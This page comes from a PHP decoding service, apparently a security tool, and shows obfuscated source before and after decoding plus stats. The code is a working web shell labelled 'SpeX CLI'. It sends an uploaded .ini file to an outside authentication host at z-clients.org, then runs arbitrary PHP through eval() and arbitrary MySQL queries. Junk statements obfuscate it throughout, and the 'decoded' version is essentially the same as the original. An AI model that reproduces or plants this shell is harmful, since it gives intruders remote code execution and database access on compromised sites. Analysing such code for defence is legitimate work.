Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php session_start(); $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return fal..

Decoded Output download

<?php session_start(); $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; require_once 'spex_v3_func.php'; if (!isset($SPEX_OB_bc914a241ab831e2f2781d61f6647efc['authenticated']) || $SPEX_OB_bc914a241ab831e2f2781d61f6647efc['authenticated'] !== true) { if ($SPEX_OB_27904fbf922f403df7dcfb5076c07112['REQUEST_METHOD'] === 'POST' && isset($SPEX_OB_597029ed723e09032c62f0f51d898726['ini_file'])) { class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; $SPEX_OB_15d524f934da97b506350b94b255a8d9 = file_get_contents($SPEX_OB_597029ed723e09032c62f0f51d898726['ini_file']['tmp_name']); $SPEX_OB_c74427f29b81934f5770faf14ac4cc05 = 'https://api.z-clients.org/SecureSystem/cli/cli_api.php'; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; $SPEX_OB_93da65a9fd0004d9477aeac024e08e15 = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded
", 'method' => 'POST', $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; 'content' => http_build_query(['ini_content' => $SPEX_OB_15d524f934da97b506350b94b255a8d9]) ] ]; $SPEX_OB_5c18ef72771564b7f43c497dc507aeab = stream_context_create($SPEX_OB_93da65a9fd0004d9477aeac024e08e15); $SPEX_OB_d1fc8eaf36937be0c3ba8cfe0a2c1bfe = file_get_contents($SPEX_OB_c74427f29b81934f5770faf14ac4cc05, false, $SPEX_OB_5c18ef72771564b7f43c497dc507aeab); $SPEX_OB_b4a88417b3d0170d754c647c30b7216a = json_decode($SPEX_OB_d1fc8eaf36937be0c3ba8cfe0a2c1bfe, true); if ($SPEX_OB_b4a88417b3d0170d754c647c30b7216a['auth'] === 'success') { $SPEX_OB_bc914a241ab831e2f2781d61f6647efc['authenticated'] = true; } else { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; echo json_encode(["error" => "Authentication failed. Access denied."]); exit; } } else { echo ' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SpeX CLI Login</title> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> <style> try{throw new Exception();}catch(Exception $e){}; body { try{throw new Exception();}catch(Exception $e){}; background-color: #1e1e1e; color: #d4d4d4; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; font-family: "Roboto Mono", monospace; display: flex; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; justify-content: center; align-items: center; height: 100vh; margin: 0; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; } .container { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; background-color: #252526; padding: 30px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.5); } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; h2 { color: #569cd6; margin-top: 0; } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; input[type="file"] { background-color: #3c3c3c; border: none; border-radius: 3px; color: #d4d4d4; padding: 10px; width: 100%; margin-bottom: 15px; } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; input[type="submit"] { background-color: #0e639c; color: #ffffff; border: none; border-radius: 3px; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; padding: 10px 20px; cursor: pointer; transition: background-color 0.3s; } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; input[type="submit"]:hover { try{throw new Exception();}catch(Exception $e){}; background-color: #1177bb; } </style> </head> <body> <div class="container"> <h2>SpeX CLI Access</h2> $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; <form method="POST" enctype="multipart/form-data"> <input type="file" name="ini_file" accept=".ini" required> <input type="submit" value="Login"> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; </form> </div> $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; </body> </html> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; '; exit; } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; } if ($SPEX_OB_27904fbf922f403df7dcfb5076c07112['REQUEST_METHOD'] === 'POST' && isset($SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['type']) && isset($SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['command'])) { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; $SPEX_OB_599dcce2998a6b40b1e38e8c6006cb0a = $SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['type']; $SPEX_OB_1dccadfed7bcbb036c56a4afb97e906f = $SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['command']; $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b = date('Y-m-d H:i:s'); if ($SPEX_OB_599dcce2998a6b40b1e38e8c6006cb0a === 'php') { try { ob_start(); eval($SPEX_OB_1dccadfed7bcbb036c56a4afb97e906f); $SPEX_OB_b4a88417b3d0170d754c647c30b7216a = ob_get_clean(); echo json_encode([ "success" => true, "output" => nl2br(htmlspecialchars($SPEX_OB_b4a88417b3d0170d754c647c30b7216a)), "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b ]); if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; } catch (Exception $SPEX_OB_e1671797c52e15f763380b45e841ec32) { echo json_encode([ "success" => false, if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; "error" => $SPEX_OB_e1671797c52e15f763380b45e841ec32->getMessage(), "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b ]); } } elseif ($SPEX_OB_599dcce2998a6b40b1e38e8c6006cb0a === 'mysql') { try { $SPEX_OB_b4a88417b3d0170d754c647c30b7216a = $SPEX_OB_4dec5ec8f4f552b9f75eca3c02c10d3c->query($SPEX_OB_1dccadfed7bcbb036c56a4afb97e906f); if ($SPEX_OB_b4a88417b3d0170d754c647c30b7216a === false) { throw new Exception($SPEX_OB_4dec5ec8f4f552b9f75eca3c02c10d3c->error); } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; if ($SPEX_OB_b4a88417b3d0170d754c647c30b7216a === true) { echo json_encode([ class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; "success" => true, $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; "output" => "Query executed successfully.", "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; ]); } else { $SPEX_OB_df347a373b8f92aa0ae3dd920a5ec2f6 = $SPEX_OB_b4a88417b3d0170d754c647c30b7216a->fetch_all(MYSQLI_ASSOC); echo json_encode([ "success" => true, "output" => "<pre>" . print_r($SPEX_OB_df347a373b8f92aa0ae3dd920a5ec2f6, true) . "</pre>", "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b ]); } } catch (Exception $SPEX_OB_e1671797c52e15f763380b45e841ec32) { echo json_encode([ "success" => false, "error" => $SPEX_OB_e1671797c52e15f763380b45e841ec32->getMessage(), "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b try{throw new Exception();}catch(Exception $e){}; ]); } } exit; } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; echo ' <!DOCTYPE html> try{throw new Exception();}catch(Exception $e){}; <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SpeX CLI</title> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> try{throw new Exception();}catch(Exception $e){}; <style> body { class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; background-color: #1e1e1e; color: #d4d4d4; font-family: "Roboto Mono", monospace; margin: 0; padding: 20px; display: flex; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; flex-direction: column; height: 100vh; } .container { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; max-width: 1000px; margin: 0 auto; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; width: 100%; try{throw new Exception();}catch(Exception $e){}; } .banner { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; text-align: center; margin-bottom: 20px; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; color: #569cd6; } .banner pre { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; font-size: 12px; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; line-height: 1; } #output { background-color: #252526; border: 1px solid #3c3c3c; border-radius: 5px; try{throw new Exception();}catch(Exception $e){}; padding: 15px; height: calc(100vh - 250px); overflow-y: auto; margin-bottom: 20px; try{throw new Exception();}catch(Exception $e){}; font-size: 14px; } #cli-form { display: flex; gap: 10px; } #input { background-color: #3c3c3c; border: none; border-radius: 3px; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; color: #d4d4d4; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; padding: 10px; flex-grow: 1; font-family: "Roboto Mono", monospace; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; } class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; #submit { background-color: #0e639c; try{throw new Exception();}catch(Exception $e){}; color: #ffffff; border: none; border-radius: 3px; padding: 10px 20px; cursor: pointer; transition: background-color 0.3s; } #submit:hover { background-color: #1177bb; } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; #type { background-color: #3c3c3c; border: none; border-radius: 3px; color: #d4d4d4; padding: 10px; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; font-family: "Roboto Mono", monospace; } .success { color: #6a9955; } .error { color: #f44747; } ::-webkit-scrollbar { width: 12px; } try{throw new Exception();}catch(Exception $e){}; ::-webkit-scrollbar-track { background: #1e1e1e; } ::-webkit-scrollbar-thumb { background-color: #3c3c3c; border-radius: 6px; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; border: 3px solid #1e1e1e; } </style> </head> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; <body> <div class="container"> $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; <div class="banner"> <pre> _____ _____ ( ___ ) ( ___ ) | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| | try{throw new Exception();}catch(Exception $e){}; | |      | | | |    | | | |      | | | |       | | | |     | | | |     | | |___|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|___| (_____) https://z-clients.org (_____) </pre> </div> <div id="output"></div> <form id="cli-form"> try{throw new Exception();}catch(Exception $e){}; <select id="type"> <option value="php">PHP</option> <option value="mysql">MySQL</option> </select> try{throw new Exception();}catch(Exception $e){}; <input type="text" id="input" placeholder="Enter command..."> <button type="submit" id="submit">Execute</button> </form> </div> <br><br> <script> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; document.getElementById("cli-form").addEventListener("submit", function(e) { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; e.preventDefault(); var type = document.getElementById("type").value; var command = document.getElementById("input").value; var output = document.getElementById("output"); fetch("cli.php", { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; method: "POST", headers: { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; "Content-Type": "application/x-www-form-urlencoded", }, body: "type=" + type + "&command=" + encodeURIComponent(command) }) .then(response => response.json()) .then(data => { var resultClass = data.success ? "success" : "error"; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; var resultMessage = data.success ? "Command executed successfully" : "Command execution failed"; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; output.innerHTML += `<p>> ${type.toUpperCase()}: ${command}</p>`; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; output.innerHTML += `<p class="${resultClass}">[${data.timestamp}] ${resultMessage}</p>`; output.innerHTML += `<p>${data.success ? data.output : data.error}</p>`; output.scrollTop = output.scrollHeight; document.getElementById("input").value = ""; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; }); }); </script> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; </body> </html> '; ?> 

Did this file decode correctly?

Original Code

<?php session_start(); $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; require_once 'spex_v3_func.php'; if (!isset($SPEX_OB_bc914a241ab831e2f2781d61f6647efc['authenticated']) || $SPEX_OB_bc914a241ab831e2f2781d61f6647efc['authenticated'] !== true) { if ($SPEX_OB_27904fbf922f403df7dcfb5076c07112['REQUEST_METHOD'] === 'POST' && isset($SPEX_OB_597029ed723e09032c62f0f51d898726['ini_file'])) { class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; $SPEX_OB_15d524f934da97b506350b94b255a8d9 = file_get_contents($SPEX_OB_597029ed723e09032c62f0f51d898726['ini_file']['tmp_name']); $SPEX_OB_c74427f29b81934f5770faf14ac4cc05 = 'https://api.z-clients.org/SecureSystem/cli/cli_api.php'; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; $SPEX_OB_93da65a9fd0004d9477aeac024e08e15 = [ 'http' => [ 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; 'content' => http_build_query(['ini_content' => $SPEX_OB_15d524f934da97b506350b94b255a8d9]) ] ]; $SPEX_OB_5c18ef72771564b7f43c497dc507aeab = stream_context_create($SPEX_OB_93da65a9fd0004d9477aeac024e08e15); $SPEX_OB_d1fc8eaf36937be0c3ba8cfe0a2c1bfe = file_get_contents($SPEX_OB_c74427f29b81934f5770faf14ac4cc05, false, $SPEX_OB_5c18ef72771564b7f43c497dc507aeab); $SPEX_OB_b4a88417b3d0170d754c647c30b7216a = json_decode($SPEX_OB_d1fc8eaf36937be0c3ba8cfe0a2c1bfe, true); if ($SPEX_OB_b4a88417b3d0170d754c647c30b7216a['auth'] === 'success') { $SPEX_OB_bc914a241ab831e2f2781d61f6647efc['authenticated'] = true; } else { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; echo json_encode(["error" => "Authentication failed. Access denied."]); exit; } } else { echo ' <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SpeX CLI Login</title> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> <style> try{throw new Exception();}catch(Exception $e){}; body { try{throw new Exception();}catch(Exception $e){}; background-color: #1e1e1e; color: #d4d4d4; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; font-family: "Roboto Mono", monospace; display: flex; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; justify-content: center; align-items: center; height: 100vh; margin: 0; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; } .container { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; background-color: #252526; padding: 30px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.5); } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; h2 { color: #569cd6; margin-top: 0; } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; input[type="file"] { background-color: #3c3c3c; border: none; border-radius: 3px; color: #d4d4d4; padding: 10px; width: 100%; margin-bottom: 15px; } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; input[type="submit"] { background-color: #0e639c; color: #ffffff; border: none; border-radius: 3px; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; padding: 10px 20px; cursor: pointer; transition: background-color 0.3s; } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; input[type="submit"]:hover { try{throw new Exception();}catch(Exception $e){}; background-color: #1177bb; } </style> </head> <body> <div class="container"> <h2>SpeX CLI Access</h2> $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; <form method="POST" enctype="multipart/form-data"> <input type="file" name="ini_file" accept=".ini" required> <input type="submit" value="Login"> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; </form> </div> $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; </body> </html> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; '; exit; } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; } if ($SPEX_OB_27904fbf922f403df7dcfb5076c07112['REQUEST_METHOD'] === 'POST' && isset($SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['type']) && isset($SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['command'])) { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; $SPEX_OB_599dcce2998a6b40b1e38e8c6006cb0a = $SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['type']; $SPEX_OB_1dccadfed7bcbb036c56a4afb97e906f = $SPEX_OB_65f3bb07dc75e870582ba05a56e92ed2['command']; $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b = date('Y-m-d H:i:s'); if ($SPEX_OB_599dcce2998a6b40b1e38e8c6006cb0a === 'php') { try { ob_start(); eval($SPEX_OB_1dccadfed7bcbb036c56a4afb97e906f); $SPEX_OB_b4a88417b3d0170d754c647c30b7216a = ob_get_clean(); echo json_encode([ "success" => true, "output" => nl2br(htmlspecialchars($SPEX_OB_b4a88417b3d0170d754c647c30b7216a)), "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b ]); if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; } catch (Exception $SPEX_OB_e1671797c52e15f763380b45e841ec32) { echo json_encode([ "success" => false, if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; "error" => $SPEX_OB_e1671797c52e15f763380b45e841ec32->getMessage(), "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b ]); } } elseif ($SPEX_OB_599dcce2998a6b40b1e38e8c6006cb0a === 'mysql') { try { $SPEX_OB_b4a88417b3d0170d754c647c30b7216a = $SPEX_OB_4dec5ec8f4f552b9f75eca3c02c10d3c->query($SPEX_OB_1dccadfed7bcbb036c56a4afb97e906f); if ($SPEX_OB_b4a88417b3d0170d754c647c30b7216a === false) { throw new Exception($SPEX_OB_4dec5ec8f4f552b9f75eca3c02c10d3c->error); } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; if ($SPEX_OB_b4a88417b3d0170d754c647c30b7216a === true) { echo json_encode([ class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; "success" => true, $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; "output" => "Query executed successfully.", "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; ]); } else { $SPEX_OB_df347a373b8f92aa0ae3dd920a5ec2f6 = $SPEX_OB_b4a88417b3d0170d754c647c30b7216a->fetch_all(MYSQLI_ASSOC); echo json_encode([ "success" => true, "output" => "<pre>" . print_r($SPEX_OB_df347a373b8f92aa0ae3dd920a5ec2f6, true) . "</pre>", "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b ]); } } catch (Exception $SPEX_OB_e1671797c52e15f763380b45e841ec32) { echo json_encode([ "success" => false, "error" => $SPEX_OB_e1671797c52e15f763380b45e841ec32->getMessage(), "timestamp" => $SPEX_OB_d7e6d55ba379a13d08c25d15faf2a23b try{throw new Exception();}catch(Exception $e){}; ]); } } exit; } if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; echo ' <!DOCTYPE html> try{throw new Exception();}catch(Exception $e){}; <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SpeX CLI</title> <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;700&display=swap" rel="stylesheet"> try{throw new Exception();}catch(Exception $e){}; <style> body { class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; background-color: #1e1e1e; color: #d4d4d4; font-family: "Roboto Mono", monospace; margin: 0; padding: 20px; display: flex; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; flex-direction: column; height: 100vh; } .container { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; max-width: 1000px; margin: 0 auto; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; width: 100%; try{throw new Exception();}catch(Exception $e){}; } .banner { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; text-align: center; margin-bottom: 20px; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; color: #569cd6; } .banner pre { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; font-size: 12px; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; line-height: 1; } #output { background-color: #252526; border: 1px solid #3c3c3c; border-radius: 5px; try{throw new Exception();}catch(Exception $e){}; padding: 15px; height: calc(100vh - 250px); overflow-y: auto; margin-bottom: 20px; try{throw new Exception();}catch(Exception $e){}; font-size: 14px; } #cli-form { display: flex; gap: 10px; } #input { background-color: #3c3c3c; border: none; border-radius: 3px; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; color: #d4d4d4; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; padding: 10px; flex-grow: 1; font-family: "Roboto Mono", monospace; class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; } class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; #submit { background-color: #0e639c; try{throw new Exception();}catch(Exception $e){}; color: #ffffff; border: none; border-radius: 3px; padding: 10px 20px; cursor: pointer; transition: background-color 0.3s; } #submit:hover { background-color: #1177bb; } $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; #type { background-color: #3c3c3c; border: none; border-radius: 3px; color: #d4d4d4; padding: 10px; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; font-family: "Roboto Mono", monospace; } .success { color: #6a9955; } .error { color: #f44747; } ::-webkit-scrollbar { width: 12px; } try{throw new Exception();}catch(Exception $e){}; ::-webkit-scrollbar-track { background: #1e1e1e; } ::-webkit-scrollbar-thumb { background-color: #3c3c3c; border-radius: 6px; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; border: 3px solid #1e1e1e; } </style> </head> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; <body> <div class="container"> $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; <div class="banner"> <pre> _____ _____ ( ___ ) ( ___ ) | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~| | try{throw new Exception();}catch(Exception $e){}; | |      | | | |    | | | |      | | | |       | | | |     | | | |     | | |___|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|___| (_____) https://z-clients.org (_____) </pre> </div> <div id="output"></div> <form id="cli-form"> try{throw new Exception();}catch(Exception $e){}; <select id="type"> <option value="php">PHP</option> <option value="mysql">MySQL</option> </select> try{throw new Exception();}catch(Exception $e){}; <input type="text" id="input" placeholder="Enter command..."> <button type="submit" id="submit">Execute</button> </form> </div> <br><br> <script> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; document.getElementById("cli-form").addEventListener("submit", function(e) { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; e.preventDefault(); var type = document.getElementById("type").value; var command = document.getElementById("input").value; var output = document.getElementById("output"); fetch("cli.php", { if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; method: "POST", headers: { $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; "Content-Type": "application/x-www-form-urlencoded", }, body: "type=" + type + "&command=" + encodeURIComponent(command) }) .then(response => response.json()) .then(data => { var resultClass = data.success ? "success" : "error"; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; var resultMessage = data.success ? "Command executed successfully" : "Command execution failed"; $SPEX_JUNK_3043a46f5f00a3637665d5e37b146010 = function(){return false;}; output.innerHTML += `<p>> ${type.toUpperCase()}: ${command}</p>`; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; output.innerHTML += `<p class="${resultClass}">[${data.timestamp}] ${resultMessage}</p>`; output.innerHTML += `<p>${data.success ? data.output : data.error}</p>`; output.scrollTop = output.scrollHeight; document.getElementById("input").value = ""; if(false){echo "SPEX_JUNK_8e7454e8c7fcef70ccd7a0592f17d5e8";}; }); }); </script> class SPEX_JUNK_569b5bc64d4e0c3cff9e7b9181093c62 {private $x;}; </body> </html> '; ?> 

Function Calls

None

Variables

None

Stats

MD5 8e5955f85b645f9c84f5ad6676043ecd
Eval Count 0
Decode Time 66 ms